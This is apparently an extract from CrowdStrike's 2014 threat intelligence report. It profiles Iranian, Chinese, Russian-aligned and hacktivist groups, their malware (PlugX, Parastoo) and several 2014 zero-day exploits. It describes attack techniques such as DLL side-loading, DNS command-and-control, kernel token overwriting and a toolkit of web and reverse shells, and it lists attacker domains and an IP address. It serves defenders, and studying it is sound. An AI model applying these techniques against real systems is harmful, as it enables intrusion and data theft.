FlYING KITTEN FLyING KITTeN is an adversary believed to be operating out of the Islamic Republic of Iran.
This group was first observed initiating targeted intrusion activity in late 2013 and has continued to be active throughout 2014.
In January 2014, CrowdStrike became aware of an ongoing operation by this actor targeting a company in the defense industrial base in the United States.
This campaign leveraged fake websites to trick users into entering credentials, and to concurrently serve malware that poses as software updates for legitimate applications.
Shortly after this activity was identified, other campaigns against additional targets in the defense and aerospace sectors were observed.
evidence supporting the attribution of FLyING KITTeN to Iran is found in their secondary focus, which targets Iranian dissidents in foreign countries, as well as in Iran itself.
20 CrowdStrike Global ThreaT InTel reporT t w o  t h o u s a n d  f o u r t e e n Notable Activity A common tactic of FLyING KITTeN is to set up spoofed login web pages on domains that closely resemble the legitimate pages used by the targets.
These fake web pages serve two purposes: They log credentials entered by users who believe the page is a legitimate authentication mechanism, and then redirect to another page that prompts the download of an alleged patch or update that is, in fact, a copy of their remote access tool.
This tool is used to log keystrokes, screenshots, and other user activity on infected systems and exfiltrates this data to an attacker-controlled server.
The primary remote access tool used by FLyING KITTeN is a dropper that is written in C .NeT and generally uses the same filename.
The files to be dropped are stored in .NeT resources embedded in the executable.
When executed, it extracts and deploys a backdoor Trojan, a configuration file, and optionally a decoy (an image or a legitimate executable).
Likewise, the backdoor executable is also written in C, meaning it can be decompiled back to a representation of the original source code.
This code lists several classes with telling names, such as Stealer.
Browser, Stealer.
Keylogger, or Stealer.
Messenger.
Further, the code contains transcripts of Farsi language artifacts, e.g., HavijeBaba and salam, as shown below.
In addition to the aerospace/defense and dissident targeting, it appears that FLyING KITTeN was also engaged in broader targeting via the website parmanpower.com that purported to be the website of a business engaged in recruiting, training, and development in erbil, Iraq.
The Whois record 21 CrowdStrike Global ThreaT InTel reporT t w o  t h o u s a n d  f o u r t e e n Notable Activity for this website is the same as for some of the other domains related to the activity discussed above, which indicates that it was also in use by this adversary, but the actual purpose of the website is still unknown.
The registrant email that currently appears in Whois records for many of the observed domains is infousa.gov.us.
However, historical records show that the domains were originally registered under the email address keyvan.
ajaxtmgmail.com, which ties back to an Iran-based entity called Ajax Security Team.
This group has been known for low-level web defacements and SqL injection attacks for some time.
Until early 2014, Ajax Security had an easily identifiable presence on the Internet with its own website and related Facebook pages.
This Internet presence has decreased significantly, likely due to a desire to keep a lower profile now that the group is engaged in targeted intrusion activity.
CHARmING KITTEN In late May, public reporting was released about an Iran-based adversary that leverages fake personas on social networking sites in order to conduct social engineering and ultimately targeted attacks against desired targets.
This adversary, CHARMING KITTeN, has been known to CrowdStrike Intelligence since January 2014, when it was observed targeting individuals in the U.S. government and defense sectors.
CHARMING KITTeN engaged in both credential collection and malware operations.
Credential collection occurred through spoofed websites meant to appear as if they were legitimate sites such as youTube.
When victims clicked on the log in link, they were redirected to a different website that prompted them to enter credentials for harvesting by the adversary.
The malware used by this adversary is an Internet Relay Chat (IRC)-based malware variant referred to as Parastoo because of the IRC password it uses.
This malware possesses 22 CrowdStrike Global ThreaT InTel reporT t w o  t h o u s a n d  f o u r t e e n Notable Activity an extensive command set capable of conducting reconnaissance of victim machines, deleting files, downloading files, and exfiltrating data.
A number of factors support CHARMING KITTeNs nexus to Iran.
First of all, the Parastoo password used by the malware is an Iranian word used to refer to small birds.
Also, the adversary used Iran-based web hosting providers and infrastructure to host malicious domains.
Finally, one of the droppers related to one of the identified Parastoo variants dropped a Persian-language decoy document purporting to be from Irans Ministry of Interior.
PlUGX  THE PANDAS TOOl OF CHOICE CrowdStrike has observed an upward trend in the use of PlugX Remote Access Tool (RAT) malware during 2014.
Multiple adversary groups have used PlugX to target a number of sectors in countries surrounding Chinas sphere of influence, particularly those involved in science  technology, government, and defense.
Further afield, PlugX has been used in persistent campaigns against commercial entities in the United States, as well as to target organizations involved in counter-terrorism or other political efforts worldwide.
Attacks associated with GOBLIN PANDA have been observed at an increasing rate throughout the latter half of the year, while in the closing months of 2014 CrowdStrike has investigated several instances of PlugX activity consistent with the HURRICANe PANDA and PALe PANDA adversaries.
Other China-based adversaries observed using PlugX in their operations include AURORA PANDA, NIGHTSHADe PANDA, PReDATOR PANDA, eMISSARy PANDA, and WeT PANDA.
The upward trend in use of PlugX indicates an increasing confidence in the capabilities of the platform, justifying its continued use across multiple sectors and countries.
PlugX has existed in some form since 2008 and has evolved over time to offer new capabilities and control mechanisms, supported by an active development program.
It provides an attacker with a range of functionality including the ability to log keystrokes modify and copy files capture screenshots or video of user activity and perform administrative tasks such 23 CrowdStrike Global ThreaT InTel reporT t w o  t h o u s a n d  f o u r t e e n Notable Activity as terminating processes, logging off users, and rebooting victim machines.
A full command shell is also provided through access to a cmd.exe process, which sends output to the PlugX instance over named pipes for onward relay to the attackers Command-and-Control (C2) servers.
While these capabilities are not unusual for a RAT and are comparable to those provided by Poison Ivy and other tools, PlugX also offers a range of C2 protocols and execution options that help reduce the risk of being detected by network defenders.
Over time, these capabilities have been augmented with additional releases of versions and plugins, which have in turn been deployed by adversaries in active and ongoing campaigns.
For example, GOBLIN PANDA has been observed using PlugX with internal version numbers of 20140101 in campaigns since q2 2014, migrating to deployments of 20140606 versions in the second half of the year.
PlugX is most frequently delivered to targets via a spear phishing attack containing a malicious RTF or Word document leveraging exploit code for the popular CVe-2012-0158 vulnerability.
Some adversary groups also attempted to leverage the CVe-2014-1761 vulnerability as a way to maximize the chance of exploitation against more recently patched systems, with varying degrees of success.
Attacks have also been identified using PowerPoint and excel file formats, as well as self-extracting RAR files and plain executables as email attachments.
However PlugX is installed on a victim machine, typically three files are dropped on the file system after exploitation to enable initial start-up of the malware: a legitimate, digitally signed application an encrypted file containing the PlugX payload and a malicious, dynamically-linked library that is used to load the malware using the Dynamic Link Library (DLL) side-loading technique when the legitimate application is executed.
This methodology can provide a level of protection against some threat detection techniques employed by anti-virus software packages, as the parent process is a non-malicious executable.
Often, a computer security tool such as a component of a commercial anti-virus application is used for this purpose, likely to take advantage of any process whitelisting strategies that may be in place on a network.
24 CrowdStrike Global ThreaT InTel reporT t w o  t h o u s a n d  f o u r t e e n Notable Activity Command and control of PlugX malware is facilitated using a range of protocols including HTTP and a binary channel over ICMP.
During 2014, CrowdStrike observed an increased use of a newer DNS C2 module that transmits data as lengthy DNS queries to adversary-controlled infrastructure.
While this mechanism deviates from some of the more typically monitored protocols, the verbosity of communication using this module may provide opportunities for detection through proactive analysis of such traffic leaving a network.
Further demonstrating the continued development of this platform, CrowdStrike observed modifications to HTTP and DNS requests produced by PlugX throughout the year, presenting an adapting challenge for detection of this threat.
However, while some adversary groups have registered domains over the course of 2014 for use in PlugX C2 (e.g., proxyme.net), there has been a continued use of domain names that have been active for a number of years, indicating the effectiveness of this infrastructure over extended periods of time.
The ongoing development of PlugX provides attackers with a flexible capability that requires continued vigilance on the part of network defenders in order to detect it reliably.
There is currently no clear evidence to suggest that use of PlugX has proliferated to adversaries attributed outside of China an increase in its deployment over the last year could be a precursor to future worldwide use, particularly as PlugX succeeds legacy capabilities such as Poison Ivy as an adversary tool of choice.
25 CrowdStrike Global ThreaT InTel reporT t w o  t h o u s a n d  f o u r t e e n Notable Activity HACKTIvIST/NATIONAlIST Hacktivist- and nationalist-motivated cyber actors are a third class of adversary tracked by the CrowdStrike Intelligence team.
The goals of these actors may range from causing mischief for laughs to influencing opinions or views about a particular issue.
During the course of 2014, there were a few notable events that demonstrate the capabilities of these actors.
As electronic voting continues to be used by more and more countries, the targeting of such processes and equipment will continue to expand.
OPERATIONS TARGETING ElECTIONS In July 2014, the electronic voter registration system for the then- upcoming Tunisian presidential election suffered a cyber attack, rendering registrations impossible for an unknown amount of time.
Sources reported that the authorities had control over the attack and that it was a systematic process, intended to strike the electoral process.
This incident is yet another example of cyber attacks targeting electronic voting systems to manipulate an outcome.
CybERbERkUT In February 2014, several bloody protests took place in Ukraine resulting in the ousting of the pro-Russia prime minister, and an interim government was created with the goal of creating closer ties with the european Union (eU).
Following the protests, CyberBerkut, a self-proclaimed nationalistic hacking group, began taking credit for hacks against Ukrainian interim leaders.
The group was extremely proactive about distributing propaganda decrying the new government and recruiting pro-Russia supporters to engage in participatory Distributed Denial of Service (DDoS) attacks against a multitude of Ukrainian government and media sites.
These attacks were likely directed by Russian state services, with the CyberBerkut hacktivists providing a layer of plausible deniability.
Several of the DDoS attacks against Ukraines Central election Commission (CeC) coincided with Russian state media broadcasts, further suggesting coordination at the state level.
In one case, an attack on the CeC occurred around the time the election results were supposed to appear, while a simultaneous broadcast on Russian state media appeared to show false 26 CrowdStrike Global ThreaT InTel reporT t w o  t h o u s a n d  f o u r t e e n Notable Activity results where an extremist candidate won the election by a hefty margin.
The goal of the operation was likely to cause temporary confusion over the immediate results of the election and to cause observers to question the legitimacy of the elections, which were touted as being fair and well equipped to withstand attacks.
Had the operation been successful, it likely would have incited unrest in Ukraine and supported the Russian narrative that the elections were illegitimate and that Russian intervention was needed to prevent Ukraine from slipping into complete chaos.
Whereas previous conflicts between Russia and former Soviet states estonia and Georgia saw a much heavier use of cyber tactics used to bring down critical infrastructure and disrupt communications, the efforts against Ukraine appeared muted and designed more for a disinformation campaign to stir unrest in order for Russia to intervene in Ukraine in a peacekeeper role as it did in Crimea.
The widespread publicity the conflict received in global media along with the threat of heavy sanctions imposed by the west may have been a factor in preventing more aggressive cyber action from Russia.
Although the campaign appeared to be ultimately unsuccessful, partly due to a prepared Ukrainian defense, CrowdStrike noted several interesting observations.
Though the use of a proxy to carry out attacks for the purposes of plausible deniability is hardly new, the coordination of the propaganda distributed and Russian media reporting was particularly telling with regard to how Russian state services can direct many moving parts in unison to achieve their goals via cyber means.
In addition, the participatory DDoS client software CyberBerkut advertised to help launch DDoS attacks against the Ukrainian government actually installed a backdoor on victims machines, presumably enabling Russian intelligence services to make a new botnet out of the compromised volunteers, which could be used in future conflicts.
CrowdStrike Intelligence also investigated targeted attacks by CyberBerkut against Ukrainian organizations and entities operating or doing business in Ukraine.
CyberBerkut was first observed in March 2014 when it made statements about the illegitimacy of the government that took over Ukraine 27 CrowdStrike Global ThreaT InTel reporT t w o  t h o u s a n d  f o u r t e e n Notable Activity upon the ousting of former president, Viktor yanukovych.
Around this same time, the group launched DDoS attacks against state-controlled media in the country as well as against NATO entities such as the Cooperative Cyber Defense Center of excellence (CCDCOe).
In April, CyberBerkut claimed responsibility for defacing the websites of several private military companies  Greystone, Triple Canopy, and Academi  that they claimed were operating on the ground in Ukraine.
CyberBerkuts operations during 2014 were very much in line with the priorities of the Russian state however, it is unclear if its activity is directly state sponsored or if it is an independent group carrying out attacks motivated by Russian nationalistic ideals.
UmBREllA REvOlUTION First observed in late 2013, the Peoples Republic of China (PRC) steadily increased the use of its intelligence services and cyber operations in Hong Kong as part of a response to the protests supporting universal suffrage and democracy headed by Occupy Central ().
The Hong Kong protests fueled fears in the Chinese Communist Party (CCP), which perceives them as a threat to its one-party rule in mainland China.
This perceived threat likely prompted the flurry of malicious cyber activity taken against various organizations and citizens operating in support of the protests within Hong Kong, later dubbed the Umbrella Revolution.
The methods used were a smattering of cyber tactics and human intelligence (HUMINT) methods to collect information about leaders of the Occupy Central Movement and locations of its supporters, as well as to gain an overall picture of Hong Kong citizens perception of the protests.
This began with strategic web compromises of key websites associated with Occupy Central in late 2013, followed by extensive HUMINT activities carried out in early 2014 by suspected Ministry of State Security (MSS) officers likely 28 CrowdStrike Global ThreaT InTel reporT t w o  t h o u s a n d  f o u r t e e n Notable Activity designed to elicit information from influential figures in Hong Kong and pressure them to support Beijings stance in exchange for gifts.
The protests reached a critical point when a democratic online referendum was held in June 2014 calling for open elections of Hong Kongs chief executive.
At the peak of voting, the online hosting system, Popvote (which at one point exceeded 500 gbps of traffic), suffered a massive DDoS attack.
The attackers were persistent and scaled their attacks as defenders responded to the attack, starting with Layer 3 and 4 attacks and progressively using more advanced Layer 7 attacks.
Though the voting system did persist and drew more than 780,000 votes, the apparent effort the PRC went through to down the referendum was substantial.
As the protests persisted, the PRC appeared to increase its attempts to monitor the protestors by proliferating mobile malware for both the Android and iOS operating systems.
The mobile Remote Access Tools (mRATs) were authored by two individuals with extensive ties to legacy Chinese hackers and were likely contracted out to customize malware for the purpose of monitoring protestors communications and physical locations.
In addition to these specialized attacks and extensive censorship of the Umbrella Revolution in mainland China, the PRC appears to have taken a shotgun approach to handling the protests as they persisted.
Several known China-based groups including MAVeRICK PANDA, VIXeN PANDA, TeMPeR PANDA, SABRe PANDA, and HURRICANe PANDA were observed participating in activity related to the protests, suggesting a possible cross- divisional tasking as the CCP saw support for the protests increase.
This demonstrates the variety of approaches China has when dealing with a threat to the CCPs one-party rule.
Along with the mobile targeting of most of the citizens of Hong Kong, it shows a new level of brazenness that is becoming increasingly common in Chinese cyber operations.
lizardSquad/DerpTrolling DERPTROllING The hacking collective DerpTrolling made early 2014 media headlines 29 CrowdStrike Global ThreaT InTel reporT t w o  t h o u s a n d  f o u r t e e n Notable Activity after claiming a string of DDoS attacks on multiple gaming companies and online gaming servers.
The group likely originated out of the Steam gaming community, where some of its suspected members engaged in early DDoS attacks on rival gaming clans and their servers.
DerpTrollings antics were often childish and had no clear motive other than being for the lulz and to boost their own egos.
For this reason, they cannot be classified as hacktivists.
Despite their immaturity, the collective was able to consistently carry out DDoS attacks on targets of their choosing, and these attacks had a real-world effect on the victims within the gaming community.
The attacks were particularly noteworthy as their DDoS tool, dubbed the Gaben Laser Beam (GLB) after Gabe Newell, the creator of Half-Life and the Steam community, supposedly created an attack that exceeded 400 gbps of network traffic utilizing a NTP reflection attack.
This suggested DerpTrolling possessed an above-average knowledge of network protocols.
While NTP reflection is commonly known in the security community, most script kiddies or skids were not aware of some of these more advanced techniques involving amplification, which allows for fewer devices needed to pull off larger DDoS attacks.
DerpTrolling has reportedly had several run-ins with law enforcement, though it is unclear how much of this is verifiable versus a ploy to increase their notoriety.
One supposed encounter resulted in the group going silent for several months before returning and carrying out lower-level attacks on the gaming community once again.
Given the collectives poor operational security practices, it is likely that the members are actively being tracked by law enforcement agencies and that they cannot continue to maintain high- profile attacks while evading capture.
lIZARDSQUAD Another group to begin DDoS operations targeting the gaming community in 2014 is LizardSquad.
The group was characterized by DerpTrolling as much less skilled, however there may be some overlap of members between the groups.
At this time, LizardSquad has not shown any of the more advanced amplification techniques used previously by DerpTrolling.
LizardSquad quickly rose to prominence after several media stunts drew 30 CrowdStrike Global ThreaT InTel reporT t w o  t h o u s a n d  f o u r t e e n Notable Activity significant attention from the press as well as law enforcement.
LizardSquad not only began claiming to be affiliates of the Islamic State of Iraq and Syria (ISIS), but also called in a bomb threat, grounding a flight on which a Sony Online entertainment executive was a passenger.
Though the group appears to have no terrorist ties, their antics quickly gained them notoriety.
LizardSquad has even poorer operational security practices than DerpTrolling, which allowed CrowdStrike to easily provide attribution on possible members of the group.
In addition, the group also admitted to renting botnets and running booters, confirming that their skill level is relatively low.
Despite this, the threat they posed to gaming companies was still noteworthy, especially when combined with terrorist threats although they were bluster, they still had considerable real-world consequences.
DEADEYE jACKAl: FAR FROM DeAD Although DeADeye JACKAL doesnt have the kind of coverage it once had in the media around its high- profile hacks, the group is still active.
It still conducts the occasional mass defacements and is focusing on improving and strengthening its dissemination pathways, including migrating to more private social media and adding a mobile site and Android app.
DeADeye JACKAL even developed and released its own Linux-based operating system, called SeANux, at the end of October 2014.
DeADeye JACKAL continues its international censorship of online articles that it deems detrimental to Syria or to Syrian President Bashar Assad.
On Thanksgiving, the group defaced just over 60 websites, including media websites.1 The websites were primarily from the United States and the United Kingdom but also included Japan, Canada, the Philippines, New Zealand, Mexico, and South Africa.
A message on DeADeye JACKALs Twitter account showed possible motivations outside of opportunistic targeting, saying The press: Please dont pretend ISIS are civilians.
The most recent cyber attack by DeADeye JACKAL was on 18 December 2014, when the group hacked the website of the International Business Times to remove an article due to its coverage of Syria, which DeADeye 1 Syrian Electronic Army hacks several websites, Forbes, Ferrari, Independent, Daily Telegraph and many other websites hijacked, 27 November 2014, http://www.techworm.
net/2014/11/syrian-electronic-army-hacks-sev- eral-websites-forbes-ferrari-independent-dai- ly-telegraph-many-websites-hijacked.html 2 Syrian Electronic Army hacks International Business Times (IBT) for alleged false coverage of Syria, 18 December 2014, http://www.
techworm.net/2014/12/syrian-electronic-ar- my-hacks-international-business-times.html 3 See The Syrian Army is Shrinking, and Assad is Running Out of Soldiers, 17 December 2014, http://www.ibtimes.com/ syrian-army-shrinking-assad- running-out-soldiers-1761914 31 CrowdStrike Global ThreaT InTel reporT t w o  t h o u s a n d  f o u r t e e n Notable Activity JACKAL perceived as false.2  The deleted article discussed depleting military resources of President Assad, in terms of soldiers, since the start of the U.S. campaign in Syria against the Islamic State.
The article, however, was soon reposted by the International Business Times and remains available.3 DeADeye JACKAL used to be limited to operating through its website, Twitter account, and Facebook account, which proved problematic in some ways since their communications could be terminated more easily when Twitter or Facebook decided to shut down their accounts.
It became a joke to DeADeye JACKAL how many Facebook pages it could start up that would be shut down.
However, DeADeye JACKAL did realize that more stable and varied dissemination pathways for their messaging were needed.
Additionally, the group decided it also needed communications that would have less chance of being monitored by its enemies.
In September 2013, DeADeye JACKAL changed its email provider from Gmail to Mail.ru.
The change was likely a result of suspicions that their emails were being monitored in light of the leaks made by edward Snowden earlier in 2013.
In other moves to protect privacy, DeADeye JACKAL opened up accounts with VK, formerly VKontakte4  (the Russia-based social media website similar to Facebook owned by Mail.ru Group and ello5), a new social media website that boasts that it does not sell ads or its users data to advertisers.
It also does not allow any data mining against the users of its site.
DeADeye JACKAL also launched a mobile site for its website and an Android app.
These are all in addition to the groups already-established accounts on Pinterest6, Instagram7, youTube8, and Twitter9.
Most notably, the group developed and released its own operating system, called SeANux.
SeANux offers little overall improvement over other Linux- based systems like Kali or BackTrack.
SeANux automatically loads a desktop system monitor that makes several network requests, creating a sidebar.
The sidebar provides the user information about the system, running processes, weather (Damascus, DI, Syria), currency rates, and some other high-level information.
Also on this side bar is a small window with a feed of news from DeADeye JACKALs website10.
4 http://vk.com/syrianelectronicarmy 5  https://ello.co/syrianelectronicarmy 6 https://www.pinterest.com/officialsea/ 7 http://instagram.com/official_sea2 8 https://www.youtube.com/user/SEAOfficialChannel 9  https://twitter.com/official_sea16 10 http://sea.sy/rss/en 32 CrowdStrike Global ThreaT InTel reporT t w o  t h o u s a n d  f o u r t e e n Notable Activity The most notable aspect of SeANux is the tools it offers.
SeANux offers some standard offensive/pentesting tools, including Metasploit Framework, SqLMap, nMap, Aircrack, and John the Ripper.
There is also an included directory with other miscellaneous PHP and Perl scripts, however most of these do not appear to be created by DeADeye JACKAL.
SeANux also offers a custom set of offensive/pentesting tools including: SEA SHELL - A basic web shell.
UPLOADER - A web application for uploading files to the system where the web app is hosted.
MYSQL EXECUTOR - A web application for executing commands on local and remote MySqL servers.
JOOMLA  WORDPRESS SCANNER - A web application for checking whether a remote system is running WordPress or Joomla.
EXECUTER - A very rudimentary webshell for executing system commands where the web app is hosted.
DDOS ATTACKER - A basic DDoS web application.
The adversary specifies an IP address they want to flood with TCP or UDP traffic.
WORDPRESS BRUTE FORCE ATTACKER - A web application for preforming simple brute force attack against a WordPress site.
JOOMLA BRUTE FORCE ATTACKER - A web application for preforming simple brute force against Joomla sites.
WEB SCANNER - A web application for scanning a remote web server for files and folders.
ORACLE QUERY EXECUTOR - A web application for executing commands on local and remote Oracle database servers.
ACP FINDER - A web application to scan for what are believed to be admin control panels.
BACK CONNECTION - A web application for creating a reverse shell connection allowing another computer to control where the app is hosted.
5.2.3 SAFEMODE BYPASS / 5.2.11-5.3.0 SAFE MODE BYPASS - Both are tools for attempting to bypass some of PHPs built-in security.
DeADeye JACKAL has not attempted the ruse that Anonymous did in 2012 when they released Anonymous-OS, which was found to be riddled with Trojans.
SeANux does connect to some DeADeye JACKAL-controlled 33 CrowdStrike Global ThreaT InTel reporT t w o  t h o u s a n d  f o u r t e e n Notable Activity resources such as their RSS feed, images in the webshells, and a Firefox custom SeANux homepage.
It is possible for DeADeye JACKAL to monitor to see who is connecting to these resources, but outside of that, the operating system functions normally.
FRATERNAl jACKAl In 2012 and 2013, a four-phased attack known as Operation Ababil, or OpAbabil, was conducted by a group of Iranian actors targeting U.S. financial institutions with DDoS attacks.
This adversary, which CrowdStrike tracks under the name FRATeRNAL JACKAL, has been suspected of having ties to the Iranian government.
It has been known to increase attack volume during periods of economic tension between Iran and western countries.
Despite suspicion of political motivations, the group has publicly attested in several Pastebin.com posts that the motivation for these attacks are negative depictions of the Muslim Prophet Muhammad in several youTube videos.
Attacks from this adversary group have been primarily conducted using a botnet of public-facing web servers that have been exploited through vulnerable Content Management Systems (CMS).
Unlike traditional botnets in which infected hosts connect to control servers for tasking, within FRATeRNAL JACKALs botnet, nodes are directly tasked by the adversary through multiple layers of infrastructure.
CrowdStrike Intelligence continued to actively investigate this adversary during 2014, specifically seeking means by which it propagated its botnet.
In October, a PHP script was identified in connection with this adversary.
This script is used for scanning lists of domains by parsing each domains robots.txt file to identify any server running the CMS Joomla.
Domains identified from this script are directly posted to a hard-coded control server, something not seen previously by CrowdStrike with this adversarys toolkit.
Normally, performing server reconnaissance by parsing the robots.txt file of a server is a trivial task.
However, when looked at in the context of this adversarys strategic operations, it suggests that the adversary is not only 34 CrowdStrike Global ThreaT InTel reporT t w o  t h o u s a n d  f o u r t e e n Notable Activity using their first-stage infrastructure for offensive actions against targets, but also for further expansion of their botnet.
Despite FRATeRNAL JACKAL no longer publicly posting motivations and notices of upcoming attacks to Pastebin, their botnet remains online and capable of performing attacks.
It is likely that in the event of future tensions between Iran and western countries, this group may publicly resurface and continue their attack campaigns.
2014 ZERO-DAY ACTIvITY The occurrence of a zero-day, or a previously unknown vulnerability being exploited in the wild, is generally an unusual occurrence.
These events almost always tell an interesting story when they are initially discovered.
During the course of 2014, there were hundreds of newly identified vulnerabilities that were categorized by Mitre under the Common Vulnerabilities and exposures (CVe) system.
Many of these were identified by researchers or vendors through auditing and other proactive security reviews.
In some cases, the vulnerabilities were first identified being used by adversaries (the development and proliferation of those vulnerabilities are a fascinating component of the threat landscape).
There were several such events that occurred this year three are particularly interesting from an adversary perspective, namely CVe-2014-0322, CVe-2014-4113, and CVe- 2014-1761.
There were numerous interesting exploits identified this year, many used by various adversaries such as the SSL Heartbleed attack (CVe- 2014-0160) and the ShellShock Bourne Again Shell (BASH) vulnerabilities (CVe-2014-6271, CVe-2014-6277, CVe-2014-6278, CVe-2014-7169, CVe- 2014-7186, and CVe-2014-7187).
These exploits were not necessarily exemplary of the related adversary narrative that helps to determine the who behind the attacks that CrowdStrike focuses on from an intelligence standpoint.
CVE-2014-0322 - INTERNET EXPLORER ARBITRARY CODE EXECUTION This zero-day vulnerability in Microsoft Internet explorer allowed code execution via specially crafted JavaScript code, making it ideal for Strategic 35 CrowdStrike Global ThreaT InTel reporT t w o  t h o u s a n d  f o u r t e e n Notable Activity Web Compromise (SWC) or drive-by operations.
There were two primary campaigns associated with CVe-2014-0322.
The first to be publicly identified occurred in February 2014 and was hosted on the website of the Veterans of Foreign Wars (VFW).
This incident delivered a fairly common, publicly available RAT called ZxShell, which connected to a C2 at newss.effers.com.
This is a domain that CrowdStrike associates with the AURORA PANDA adversary.
Investigation into the VFW incident led to the discovery of other sites (savmpet.com, gifas.assso.net, and icbcqsz.com) also hosting this exploit code.
These sites not only shared the same IP address as each other, but also contained the same content that was taken from the website for the French aerospace industries association, Groupement des Industries Franaises Aronautiques et Spatiales (GIFAS).
The dates visible on these webpages and those dates found in the pages source code indicated that they were created on 17 January 2014, which predated the VFW incident by nearly a month.
However, this operation utilized drive-by tactics rather than SWC because the sites hosting the code were controlled by the adversary and not compromised legitimate sites.
The GIFAS-related activity delivered a different malware payload (Sakula) than the VFW incident (ZxShell).
The Sakula payload communicated with an entirely different C2 infrastructure than the ZxShell, oa.ameteksen.com.
This indicates that a different adversary was responsible for the GIFAS- related SWC operation.
Further investigation into this activity showed a number of similarities to a 2012 zero-day (CVe-2012-4792) SWC campaign that leveraged the website of a U.S.-based manufacturer, Capstone Turbine.
These similarities were: the use of Sakula malware, GIFAS-based subdomains related to both incidents, and the use of zero-day vulnerabilities.
At the end of 2014, CrowdStrike Intelligence also discovered potential links between this adversary and its HURRICANe PANDA adversary (discussed in more detail below) however, evaluation of these connections is still ongoing.
CVE-2014-4113  LOCAL PRIVILEgE ESCALATION every now and then, an adversary reveals their trump card when they 36 CrowdStrike Global ThreaT InTel reporT t w o  t h o u s a n d  f o u r t e e n Notable Activity become desperate for access to a victims infrastructure.
This occurred in October 2014 when the Chinese adversary tracked by CrowdStrike as HURRICANe PANDA deployed a tool called Win64.exe on a compromised system that was used to invoke other programs with elevated privileges.
Analysis of the Win64.exe binary revealed that it exploits a previously unknown vulnerability to elevate its privileges to those of the SySTeM user and then create a new process with these access rights to run the command that was passed as an argument.
The file itself is only 55 kilobytes in size and contains just a few functions.
First, the exploit gained kernel execution by corrupting memory in the Windows window manager and used this increased level of authority to overwrite an access token in the ePROCeSS structure of the user-mode process with that of the SySTeM process.
From this elevation, any command passed to the executable was executed with elevated privileges.
The vulnerability was present in both 32-bit and 64-bit architectures of Windows from Windows XP to Windows 7.
The code to perform these steps is extremely well written and fully reliable.
The adversary has gone through considerable effort to minimize the chance of its discovery.
The exploit tool was only deployed when absolutely necessary during the intrusion operations, and it was deleted immediately after use.
A build timestamp of the Win64.exe binary of 3 May 2014 suggests that the vulnerability was actively exploited in the wild for at least five months prior to discovery.
What is more, after being able to characterize the exploit, earlier versions were found that indicate constant development of privilege-escalation tools.
In fact, some tools were found with exploits for similar vulnerabilities that have been addressed by Microsoft in patches released earlier in 2014.
These tools share an overall structure with the new one, indicating that the same code was used to weaponize privilege- escalation exploits for different security bugs.
These observations suggest that HURRICANe PANDA maintains an arsenal of exploits for unpatched privilege-escalation vulnerabilities.
37 CrowdStrike Global ThreaT InTel reporT t w o  t h o u s a n d  f o u r t e e n Notable Activity This case underlines the necessity of tight endpoint monitoring in order to detect adversary behavior like this.
Within days of discovering the use of the exploit, CrowdStrike reported the vulnerability and a proof of concept to Microsoft, which subsequently released security bulletin MS14-058, as well as patches for all affected platforms.
CvE-2014-1761 - mICROSOFT wORD REmOTE CODE EXECUTION In 2014, CrowdStrike Intelligence spent a significant amount of time investigating operations that leveraged the new Microsoft Word exploit, CVe-2014-1761.
The exploit for this vulnerability was a bit complex, but if successful it allowed for remote code execution.
Cybercrime adversaries were the first to use the exploit in the wild however, its use soon proliferated to Russia- and China-based targeted intrusion adversaries.
The proliferation of an exploit such as CVe-2014-1761 across several adversaries is not unprecedented, but it does illustrate the possible ways in which actors are connected.
In this instance, cybercrime actors were the first observed using the exploit in the wild.
Several weeks later targeted intrusion adversaries began leveraging it in their operations.
The most likely explanation for this is that targeted intrusion adversaries were able to rediscover and develop the exploit code once a vendor advisory was released.
38 CrowdStrike Global ThreaT InTel reporT t w o  t h o u s a n d  f o u r t e e n Notable Activity This seems to be the most likely because Microsoft released its initial advisory on the exploit in late March, and targeted activity began in early April.
However, another possible proliferation pathway for the exploit is a direct pass from a cybercrime actor to a targeted intrusion actor.
It is also possible that individuals involved in cybercrime operations are also carrying out targeted intrusion operations and were able to use the exploit for both purposes.
CrowdStrike Intelligence also discovered a simple builder program, which allowed malicious actors to automatically build CVe-2014-1761 exploit documents.
This allows for a decoy document and malicious executable to be combined with a malicious CVe-2014-1761 document.
The Chinese characters show that it was meant for use by Chinese adversaries, and could explain how it so easily proliferated among China-based adversaries.
PITTy PANDA is one actor who actively developed the capability to use this exploit.
This actor is interesting in that they exhibit a remarkably disparate level of sophistication.
On the one hand, the actor has proven to be one of the early groups that are able to successfully weaponize documents with an exploit for CVe-2014-1761, showing a notable level of competence in this specific matter.
On the other hand, this adversary exhibits lack of 39 CrowdStrike Global ThreaT InTel reporT t w o  t h o u s a n d  f o u r t e e n Notable Activity consistence or expertise in certain other areas.
For example, the re-use of C2 domains ending in .tw certainly sticks out in target environments unrelated to Taiwan.
This was observed in attacks against western aerospace and defense companies during 2014.
Recent CrowdStrike analysis on PITTy PANDA has revealed that this actor has been operating for a longer time frame than previously assumed.
The activity likely goes back as far as June 2005, resulting in a total operational window of more than nine years.
PITTy PANDA has used at least three different RAT families, some of which have undergone continuous development.
PITTy PANDA has recently shifted their target profile toward the aerospace and defense sectors, introducing a new aspect this actors operations.
The overall goal of much of PITTy PANDAs past activity appeared to be intelligence-gathering operations of a political nature, but more recent operation point more toward the theft of intellectual property.
The development and adaptation of client-side exploits such as CVe-2014-1761 may indicate that this actor is seeking to further expand operations by investing in technical capabilities to pursue harder targets than they have previously attacked.
Event-Driven Operations mAlAySIA AIRlINES INCIDENTS Malaysia Airlines suffered two catastrophic incidents in 2014.
In March, one of its flights (MH370) from Kuala Lumpur to Beijing mysteriously disappeared less than an hour after takeoff.
In July, another of its flights (MH17) from Amsterdam to Kuala Lumpur was shot down while flying over a conflict zone in Ukraine.
These events received large amounts of attention in the press, and the controversy and mystery surrounding them made the incidents ideal for targeted intrusion adversaries to use in their operations.
Operations leveraging the MH370 incident in spear phish email began within days of the accident.
The TeMPeR PANDA adversary was particularly prolific in its use of MH370-related emails to deliver malicious documents that 40 CrowdStrike Global ThreaT InTel reporT t w o  t h o u s a n d  f o u r t e e n Notable Activity dropped malware connecting to a known TeMPeR PANDA C2 address, www.
verizon.proxydns.com.
Activity from the LOTUS PANDA adversary and an actor using Naikon malware was also observed.
Additionally, CrowdStrike identified an incident carried out by an adversary believed to have a nexus to Pakistan.
This attack used a malicious zip archive containing a file named Malaysia Airline MH370 hijacked by Pakistan.scr.
It delivered malware more commonly known as BitterBug, which used a C2 at IP address 199.91.173.45.
Operations related to the MH17 crash appeared to be more limited, but also began within days of the incident.
